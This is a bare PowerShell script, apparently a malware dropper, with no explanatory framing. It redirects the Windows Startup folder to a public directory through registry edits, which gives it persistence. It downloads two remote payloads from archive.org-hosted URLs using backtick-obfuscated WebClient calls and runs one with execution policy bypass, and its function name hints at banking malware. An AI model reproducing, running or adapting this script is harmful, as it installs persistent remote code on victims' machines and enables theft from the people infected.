[system.io.directory]::CreateDirectory("C:\Users\Public\Run")
start-sleep -s 5
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
Set-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" -Name "Startup" -Value "C:\Users\Public\Run";
start-sleep -s 5
Function HBankers
{
$p = 'C:\Users\Public\Run\'
$ps1 = 'C:\Users\Public\'


start-sleep -s 5

if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia801503.us.archive.org/18/items/cmd_20210302/CMD.TXT', $p + 'Run.bat')){
}
start-sleep -s 5
if((New-Object "`N`e`T`.`W`e`B`C`l`i`e`N`T")."`D`o`w`N`l`o`A`d`F`i`l`e"('https://ia601409.us.archive.org/5/items/ykgUneu1LU2EZ8L_uO4ZjwServer/ykgUneu1LU2EZ8L_uO4ZjwServer.txt', $ps1 + 'Microsoft.ps1')){
}
start-sleep -s 7
powershell -windo 1 -noexit -exec bypass -file "C:\Users\Public\Microsoft.ps1"
}
IEX HBankers